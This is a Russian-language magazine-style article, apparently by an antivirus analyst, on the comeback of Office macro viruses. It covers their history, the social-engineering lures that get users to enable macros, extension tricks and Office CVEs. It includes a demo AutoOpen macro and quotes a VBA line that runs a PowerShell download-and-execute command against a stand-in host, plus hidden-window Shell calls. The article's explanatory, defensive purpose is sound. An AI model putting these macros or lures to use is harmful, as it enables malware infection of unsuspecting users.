Содержание статьи
Бытует мнение, что макровирусами, в девяностые бывшими настоящим бичом компьютерного мира, в наше время разве что пугают новичков у костра в День сисадмина. Действительно, есть чего испугаться — офисные документы, при открытии исполняющие код на VBA! К сожалению, сейчас вредоносные макросы переживают настоящий ренессанс.
Немного истории
В 1999 году интернет запестрел жалобами на макровирус под Microsoft Word 97 и 2000, самораспространяющийся по электронной почте и заражающий компьютеры. Так миру явилась знаменитая «Мелисса» — макрос делал много чего, включая манипуляции с реестром и заражение стандартного шаблона документа Word, но в итоге при соблюдении ряда условий просто оставлял забавное сообщение. Все достигалось банальным кодом на VBA (Visual Basic for Applications), использующим метод document.open
. Интернет-сообщество тогда предположило, что это может привести к проблемам с почтовыми серверами из-за самораспространяющегося спама. Святая простота!
Дальше последовала настоящая эпидемия. С помощью VBA можно сделать, по сути, что угодно. Конечно, изначально поддержка VBA в офисных документах задумывалась как расширение функциональности и для автоматизации рутинных действий, но на самом деле всеми возможностями Microsoft Office не пользуется, пожалуй, никто — из обычных юзеров. Вирусописатели же, наоборот, сразу оценили всю полноту открывающихся перспектив.
Как это работает
Если у тебя под рукой есть винда с «Офисом», то базовую функциональность можно испытать, прямо не отходя от чтения этой статьи. Не будем повторять за интернетом и делать листенер из Метасплоита — судя по статистике детектов, такие возможности макросов почти никогда никто не использует. Лучше создадим документ с макросами и добавим к нему макрос со следующим кодом:
Sub AutoOpen()
Dim Findstr As Variant
Dim Replacementstr As Variant
Dim i As Long
Findstr = Split("Получено,РћР¶Редалось,Oi?ioi,Nianeai,яОЮХАН АНКЭЬНЕ", ",")
Replacementstr = Split("Важное сообщение,Важные данные,Контакты,Бонус,Скидка", ",")
For i = 0 To UBound(Findstr)
Selection.HomeKey wdStory
Selection.Find.ClearFormatting
With Selection.Find
Do While .Execute(FindText:=Findstr(i), Forward:=True, _
MatchWildcards:=False, Replacewith:=Replacementstr(i), _
Wrap:=wdFindContinue, MatchCase:=False) = True
Loop
End With
Next i
Dim filesize As Integer
Dim FlName As String
FlName = "pwnd.txt"
filesize = FreeFile()
Open FlName For Output As #filesize
Print #filesize, "MESS WITH THE BEST DIE LIKE THE REST H4h4h4"
Close #filesize
End Sub
А в самом тексте напишем что-то вроде:
Получено
РћР¶Редалось
Oi?ioi
Nianeai
яОЮХАН АНКЭЬНЕ
Сохраняем файл, закрываем, открываем... в зависимости от версии «Офиса» появится предупреждение о макросах. Если разрешить их, сразу произойдут две вещи. Первая — кракозябры будут заменены на настоящий текст, вторая — в папке с документом по-тихому создастся текстовый файл.
Именно так и работают настоящие макровирусы: под благовидным предлогом юзеру рекомендуют включить макросы (обычно это достигается белибердой в содержимом и предупреждениями о том, что без макросов прочитать ничего не получится), после их включения документ становится читаемым, а на заднем плане делает свое черное дело. Кстати, обычно макровирусы просто качают стандартную малварь и запускают ее.
Пример такого традиционного макровируса, часто встречающегося в дикой природе, — W97M.DownLoader.507. Он уже отметил свой первый год в вирусных базах, но это не мешает ему постоянно детектироваться антивирусом — очевидно, рассылка оправдывает себя. Документ делает вид, что зашифрован, и нагло утверждает, будто так и должно быть, мол, если хотите прочитать — включите макрос. При этом на самом деле ленивые вирусописатели просто добавили белый текст на вторую страницу, и макрос всего лишь делает его черным. Получается, что даже наша демонстрация макросовых возможностей работает тоньше. А люди все равно ведутся ;). Ведутся и дают макросу запустить пачку скриптов, которые, в свою очередь, радостно качают и запускают банковский троян.
Необычный случай произошел в 2012 году. Мы обнаружили массовую почтовую рассылку, предлагающую принять участие в митинге оппозиции на Пушкинской площади, с приложенной инструкцией, как вести себя на митинге, и уверениями, что действовать нужно строго по ней. Открывшие инструкцию люди сначала не могли ее прочесть, потому что макросы были отключены, а потом не могли ее прочесть, включив макросы, потому что получали убитую трояном Trojan.KillFiles.9055 систему.
Причина ренессанса
Как видишь, главными воротами на пути макровируса выступает форма, в которой Word, Excel или PowerPoint предлагает юзеру включить макросы. Изменение ее дизайна с течением времени поможет нам понять причину внезапного ренессанса макровирусов.
- 97-й «Офис» предлагал сложный выбор из четырех пунктов и чекбокса и пугал юзера страшными вирусами. Как мы уже знаем, это совершенно не помогло.
- 2000-й был в этом плане гораздо лучше — клик на OK открывал файл без макросов, а хелп отправлял за справкой. То же самое было в 2003-м.
- В 2007-м концепция изменилась. Очевидно, майки решили, что юзер слишком привык кликать на разрешающие кнопки в диалогах, и заменили их на странную штуку внутри самого «Ворда». Но кнопка всего одна, и она только отправляет в опции, что, несомненно, гораздо лучше с точки зрения безопасности, чем то, что последовало дальше, а именно...
- 2010-й «Офис» — единственная кнопка внутри самого «Офиса», предлагающая включить макросы! Тысячи вирусописателей по всему миру сказали спасибо и принялись писать новые макровирусы.
- 2013-й и 2016-й «Офисы» используют ровно ту же схему.
...2010-й «Офис» — единственная кнопка внутри самого «Офиса», предлагающая включить макросы! Тысячи вирусописателей по всему миру сказали спасибо и принялись писать новые макровирусы
При определенных настройках в новых «Офисах» перед открытием файла может появиться диалог, предлагающий на выбор включить или отключить макросы. Но сложно сказать, так ли это хорошо, ведь теперь пользователь еще до открытия документа может согласиться на все, а дальше уже дело техники, и никакие кракозябры не понадобятся — он даже не поймет, что с документом что-то было не так.
С другой стороны, с 2007-й версии «Офиса» специалисты Microsoft начали более серьезно относиться к ситуации. С этой версии офисные файлы делятся на два типа: с макросами и без. А именно: *.docx, *.xlsx, *.pptx, *.ppsx — форматы по умолчанию, не поддерживающие макросы, и *.docm, *.xlsm, *.xlsb, *.pptm и *.ppsm, которые макросы поддерживают.
Многие эксперты по ИБ советуют пользователям обращать внимание на расширение файлов, пришедших по электронной почте, и не открывать те, где присутствует буква m. Наивные! Они забывают о том интересном факте, что «Офис» не принимает расширения слишком уж всерьез. Если взять файл с макросами, скажем notavirusforrealiswear.docm, переименовать его в notavirusforrealiswear.docx, «Офисом» он будет открываться именно как документ Microsoft Word с поддержкой макросов. А кроме того, в Windows расширения скрыты по умолчанию, и те люди, что бездумно жмут на кнопки включения макросов, вряд ли озаботятся расширением открываемых файлов. К слову о расширениях. Еще сильнее запутывали ситуацию файлы *.xml: Word 2003 XML макросы поддерживал, а вот Excel 2003 XML — нет.
Гораздо интереснее ситуация с PowerPoint. Замечал, что почти никогда в новостях о свежем макровирусе не фигурировали презентации? Дело в том, что в PowerPoint нет тех самых триггеров, запускающих макросы при открытии документа: AutoOpen, Auto_Open
и тому подобных. Здесь недостаточно добиться от пользователя просто включения макросов, нужно еще и вынудить его совершить целевое действие, например нажать на кнопку, — а кто в своем уме будет кликать по «кнопкам» внутри презентации?
Соли на рану вирусописателям всегда добавляло то, что многие из доступных в PowerPoint ивентов работают только в режиме просмотра. То есть мало обмануть человека и заставить его открыть презентацию, потом его еще нужно как-то убедить включить макросы, а после этого — запустить презентацию в режиме просмотра, чтобы делать свое черное дело уже там! А когда в последний раз ты смотрел презентацию в полном экране вне конференции? Вот то-то же.
Поверь, средний офисный работник тоже не горит желанием тратить время на увлекательные анимации красиво проявляющегося текста в ущерб работе. Да и вообще, так как речь у нас по большому счету о социальной инженерии, нужно понимать психологию современного человека. А именно: современный человек так подсел на постоянные сообщения в мессенджерах и соцсетях, пуш-нотификации и прочие симптомы синдрома дефицита внимания, что даже фильм он будет смотреть, не разворачивая его на полный экран. Куда уж там презентациям!
Особо изобретательные затейники придумали пару способов это обойти. Но основной вариант — использовать addin’ы, а это вирусописателю совершенно не подходит. Если жертва настолько готова выполнять любые инструкции в неизвестно откуда пришедших файлах, то не проще ли сразу послать ей исполняемый файл трояна и не забивать себе голову? Фанаты макровирусов поступают по-другому.
Файлы PowerPoint бывают двух видов — обычные презентации и презентации в режиме демонстрации. Если использовать метафоры, то обычные презентации — это исходники, которые можно посмотреть, а можно скомпилировать, а презентации в режиме демонстрации — это уже скомпилированные файлы, которые можно только запустить. Файлы *.ppsx (*.ppsm с поддержкой макросов) открываются сразу в режиме запуска презентации, где может сработать любой соответствующий триггер, например mouseover
на невидимом объекте, покрывающем весь первый слайд. Мало того — механизм разрешения макросов тут тоже отличается! Вместо того чтобы открыть документ, а потом предлагать включить макросы, «Офис» сразу спрашивает, включить макросы или нет. И только после ответа показывает непосредственно презентацию. Это производит существенный психологический эффект — пользователь отвечает «нет», испугавшись предупреждений от Microsoft, и получает файл с кракозябрами вместо текста, после чего закрывает файл, открывает заново и на этот раз отвечает по-другому. Еще используется событие перелистывания слайдов.
В целом же PowerPoint не очень популярен у вирусописателей. Спам с зараженными презентациями появляется в ханипотах разве что при открытии очередной уязвимости.
Обфускация, которая не работает
Кстати, несмотря на то что всю малварь авторы из ложной скромности всегда пытаются обфусцировать, у макровирусов есть общие места, которые всегда будут присутствовать в коде, и хоть ты тресни. Речь идет об автоматических триггерах, получении пейлоадов и их запуске. Все основные операции должны быть прописаны обычным текстом. Вот, скажем, в интернете есть туториал по обфускации кода в макровирусах. И что мы видим в самом интересном месте? А вот что:
Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt '))"""
Shell (exec)
Не нужно быть Дмитрием Лозинским, чтобы понять: макрос перед нами вредоносный. Что же предлагает автор статьи? Заменить ASCII-символы их значениями и использовать ChrW()
.
И что получается?
Shell(last)
Макрос хочет что-то исполнить и прилагает усилия для сокрытия этого чего-то — не самый хороший знак. Та же история с макровирусами, которые можно генерить в Метасплоите. Там все серьезно, генерируется уникальный (более-менее) код, в сам документ нужно вставлять куски, откуда макрос будет считывать информацию, все дела... Но никакие ухищрения не помогут обойтись без чего-то вроде
Xqezs7 = Shell(Xqezs10, vbHide)
Обрати внимание на vbHide
— параметр, позволяющий запускать файлы в бэкграунде.
Кстати, офисный файл можно зашифровать и потребовать пароль на открытие, но VBA-код при этом не шифруется. Доступ к VBA-проекту можно защитить паролем, но сам код все равно не шифруется, так что получить его из файла — дело тривиальное.
Кажется, мы рассмотрели все документированные возможности, которыми пользуются злоумышленники, вводя адресатов своих спам-рассылок в заблуждение. Перейдем к самому интересному — уязвимостям.
Уязвимости Microsoft Office
Продукты Microsoft не могут жаловаться на недостаток внимания хакеров, так что уязвимости в них находят постоянно.
Уязвимостей много, суть одна — заставить код макроса запуститься при открытии файла, безотносительно того, разрешены ли макросы, запрещены ли и что вообще делает юзер. Это позволяет злодеям обойти все проблемы взаимодействия с людьми и просто рассылать зараженные файлы веером, причем жертва не будет знать, что открывает она, по сути, самый настоящий исполняемый файл. Но, конечно, тут есть нюанс: почти все эти уязвимости быстро патчатся. Первая рассылка, возможно, застанет людей врасплох, а вот ко второй уже все заинтересованные получат свой автоматический апдейт на «Офис» и вздохнут спокойно.
Разумеется, тут есть своя группа риска — злые пираты, люди, не желающие регулярно обновлять любое ПО от Microsoft, и люди, некогда купившие лицензию на старый «Офис» и совершенно не желающие покупать еще одну. И тех и других можно понять — методы продвижения Windows 10 сформировали у многих рвотный рефлекс на любые предложения Microsoft обновиться, а возможности новых версий «Офиса» все равно большинство не использует даже наполовину.
Рассмотрим нашумевший в свое время пример BackDoor.BlackEnergy.18, который эксплуатировал CVE-2012-0158. Ни о каком включении макросов, разумеется, речи уже не шло — дроппер просто-напросто скачивал троян в систему, пока юзер наслаждался письмом про «Невинность мусульман». А CVE-2014-4114 использовался как раз для рассылки вредоносных презентаций, от которых сложно получить толк в обычных обстоятельствах-used-in-Malicious-Spam/).
В наши дни макровирусы тоже живут и здравствуют. Посмотри, например, на пойманный в этом году BackDoor.Apper.1. Он побайтово собирает SFX-архив с легитимным EXE-файлом и вредоносным DLL, причем авторы не постеснялись и в качестве нормального файла выбрали симантековский mpvis.exe
— с валидной цифровой подписью Symantec. Экзешник с цифровой подписью спокойно запускается, требует библиотеку с таким именем, находит ее тут же в папке, и юзер получает зараженную машину.
Заключение
Как видишь, угроза никуда не делась, она просто пережидала времена, когда юзера из-за более сложных способов включения макросов было труднее обмануть. Хотелось бы посоветовать просто никогда не включать макросы и спать спокойно, но я не могу этого сделать по двум причинам. Во-первых, некоторые компании, даже очень, очень крупные, всерьез используют макросы в экселевских файлах, и если ты взаимодействуешь с такими компаниями, то волей-неволей тебе придется пользоваться и ими. Во-вторых, никакие запреты на запуск макросов не спасут от свежей уязвимости. Или даже несвежей — давайте будем откровенны и признаемся друг другу: далеко не все из нас планируют постоянно менять старые «Офисы» на новые и обновлять их каждую секунду. Даже в корпоративной среде не видят особого толка в том, чтобы покупать новый «Офис», покуда старый еще не износился, чего уж говорить о домашних пользователях?
Поэтому лучше открывать чужие файлы исключительно в сендбоксе или виртуальной машине. Но это утопия — никто не будет в рабочих условиях ставить какой-нибудь виртуалбокс каждому бухгалтеру и менеджеру по продажам со строгим наказом открывать десятки файлов в день именно там.
Так что буду банален и предложу не изобретать велосипед, а именно — использовать качественный антивирус (кажется, я бы даже мог посоветовать, какой именно, но за мной следят :)).